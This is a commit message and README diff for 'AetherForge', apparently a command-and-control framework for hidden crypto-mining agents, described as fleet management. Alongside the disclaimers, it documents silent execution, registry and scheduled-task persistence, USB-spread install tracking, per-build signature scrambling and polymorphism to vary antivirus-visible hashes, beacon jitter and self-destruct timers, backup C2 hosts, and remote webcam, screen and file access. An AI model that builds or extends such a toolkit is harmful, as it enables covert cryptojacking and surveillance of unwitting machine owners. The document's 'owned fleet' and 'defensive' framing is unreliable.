feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

README.md

@@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile
 - **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
 - Pool connection status and AI activity panel (Advanced mode)
 - Matrix stream overlay with mystic word drops (Advanced mode)
+- **Install funnel** — agents per build/worker over 7 days, new connects today, USB-spread flag
+- **Operator audit strip** — last operator actions (forge, commands, config save, secret rotate)
 
 ### Fleet Roster (Agents)
 
@@ -74,7 +76,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile
   - Mining ops: pause / resume / restart miner
   - Recon: sysinfo, list processes, network scan, DNS config, listening ports
   - System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
-  - Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
+  - Screen: **Screenshot** (desktop), **Live view** (3s slideshow while tab focused), and **Camera** (USB/built-in webcam via `camera_snapshot`; Windows/Linux agents need **ffmpeg** on PATH)
+  - **File browser** — `list_dir` / `read_file` (512 KB cap) / upload / download in Crucible when one node is selected (Windows agents)
   - Admin: PowerShell terminal, file upload, uninstall
 - **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
 - **Auto-sysinfo** — system info is fetched immediately when you select an agent
@@ -174,20 +177,68 @@ Use **Send test notification** after **Save Calibration** to verify delivery. Th
 
 > **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).
 
+### Fleet task scheduler (Calibrate)
+
+Under **Calibrate → Fleet Tasks**, schedule remote actions: `on_connect`, `on_reconnect`, `interval_hours`, or daily `cron` (`HH:MM`). Actions include `sysinfo`, `full_sys_check`, `powershell`, `exec`, `pause`, `resume`, `restart`.
+
+### Operator audit log
+
+Records forge builds, agent commands, config saves, fleet secret rotation, and task edits. Visible on Dashboard and Calibrate; `GET /api/v1/audit`.
+
+### Forge connection profile (Advanced)
+
+Bake **beacon interval**, **beacon jitter %**, and **kill-after-days** (0 = never) into workers for reconnect timing and optional self-destruct.
+
+### Agent stubs (not shipped)
+
+- **`bof_execute`** — returns an error; in-memory BOF execution is disabled.
+
 ### Forge hardening & dispense UX
 
 - **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
 - **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
 - **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download
 
+### CISA KEV exposure scan (defensive)
+
+**Full System Check** includes a read-only **CISA KEV** pass aligned with [CISA’s top exploited vulnerabilities](https://www.cisa.gov/uscert/ncas/alerts/aa22-117a) (Log4Shell, ProxyLogon/Exchange, Zerologon on DCs, Citrix ADC, Pulse Secure, F5 BIG-IP, Confluence, ManageEngine, Fortinet, PrintNightmare, VMware vCenter, etc.).
+
+| What it does | What it does **not** do |
+|--------------|-------------------------|
+| Detects installed stacks, services, stale patching, and risky roles on **your** fleet | Does not exploit or weaponize CVEs |
+| Surfaces `exposed` / `likely` / `clear` per CVE family in the sys check panel | Does not replace formal vuln scanning (Tenable, etc.) |
+| Optional Telegram ping when critical indicators fire (Calibrate → **KEV exposure**) | Heuristics only — verify with vendor patches |
+
+Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the full KEV block.
+
 ### Fleet ops (recent)
 
-- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible
+- **Protocol Tunneling** — Cloudflare outbound tunnel, SSH local forward (Windows), WireGuard via Path Tracer; `tunnel_status` / `tunnel_stop` on owned fleet nodes (Fleet Roster + Crucible)
+- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports, **KEV exposure**) from Fleet Roster or Crucible
 - **Desktop push** — deploy files to `@desktop/` on workers
 - **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
+- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
 - **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
+- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
 - **Haptic sound** + **glow particles** — optional UI feedback (Settings)
 
+#### Protocol tunneling (MITRE ATT&CK mapping — honest scope)
+
+AetherForge exposes **legitimate operator tunneling** for machines you administer — not covert C2 evasion.
+
+| MITRE technique | AetherForge feature | Scope |
+|-----------------|---------------------|-------|
+| [T1572 Protocol Tunneling](https://attack.mitre.org/techniques/T1572/) | Cloudflare outbound (`tunnel_cloudflared`), SSH local forward (`tunnel_ssh_forward`), WireGuard mesh (Path Tracer) | Reach internal hosts / expose agent LAN services on **your** fleet |
+| [T1071 Application Layer Protocol](https://attack.mitre.org/techniques/T1071/) | Existing WebSocket C2 + optional Cloudflare tunnel to dashboard | Standard HTTPS/WSS to **your** control server |
+
+**Not built:** DNS-over-HTTPS resolution evasion, SOCKS pivot, SMB tunneling, or features marketed to bypass network filtering.
+
+**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
+
+**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`.
+
+**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
+
 ---
 
 ## Quick Start
@@ -227,7 +278,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr
 | `/api/v1/*` REST | HTTP Basic Auth |
 | `/ws/dashboard` | `?token=<base64-user:pass>` |
 | `/ws/agent` | Fleet-secret `auth` JSON frame |
-| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
+| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
 | Static SPA + `/api/v1/health` | Open (no auth) |
 
 ---
@@ -275,6 +326,23 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
 
 **Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
 
+### C2 transport (owned fleet)
+
+Legitimate **MITRE T1071 Application Layer Protocol** usage for machines you administer — not covert DNS/SMTP/FTP tunneling.
+
+| Layer | Protocol | When |
+|-------|----------|------|
+| **Primary** | WebSocket `wss://…/ws/agent` (T1071.001) | Normal operation — live stats, jobs, remote commands |
+| **Fallback** | HTTPS `POST /api/v1/agent/beacon` + `POST …/beacon/result` (T1071.001) | After WebSocket is down for N minutes (Forge: **HTTPS beacon fallback**, default on when backup URLs are set) |
+| **Backup hosts** | Same APIs on `backup_server_urls` | Round-robin when primary C2 is unreachable |
+| **Operator alerts** | Telegram + optional Calibrate `webhook_url` JSON POST (T1071.005 lite) | Connect / offline / threshold events — server-side only |
+
+Forge **Connection Profile** → enable **HTTPS beacon fallback** and set minutes before fallback (default 3). Fleet secret is sent as `X-Fleet-Secret` on beacon routes (same as other `/api/v1/agent/*` endpoints).
+
+**Test fallback:** block outbound WebSocket to the control host (firewall rule on `8989`/`443` for `ws` only, or deny `/ws/agent` at the reverse proxy) while leaving HTTPS API open — agent should log `HTTPS beacon` and the dashboard should still receive stats/commands via beacon polling.
+
+**Diagnostic:** remote command `connectivity_probe` (or startup log line) reports DNS + TCP reachability to C2 and pool hosts — diagnostic only, not a C2 channel.
+
 ---
 
 ## Agent Silence
@@ -285,6 +353,9 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell
 |----------|-----------|
 | Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
 | Persistence | Scheduled task / registry run key — no user-visible installer |
+| Registry persistence (Forge) | Optional HKCU/HKLM Run, RunOnce, Explorer Policies Run — value `AetherForge_{worker}`; uninstall removes only agent-created keys |
+| Boot / logon autostart | Optional Forge `autostart_mode`: HKCU Run, Startup folder shortcut, ONSTART (boot) or ONLOGON tasks — applied on install and self-heal |
+| Fleet registry ops | `registry_read` / `registry_write` / `registry_delete` on administered Windows agents (allowlisted paths) |
 | Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
 | WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
 | Spread installs | `--run` flag relaunches silently with detached start |
@@ -347,6 +418,9 @@ crypto miner/
 | GET | `/api/v1/pools/status` | Stratum pool connection states |
 | GET | `/api/v1/earnings/estimate` | XMR/day estimate |
 | GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
+| GET | `/api/v1/audit` | Operator audit log (last 50) |
+| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
+| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
 | WS | `/ws/agent` | Worker connection |
 | WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |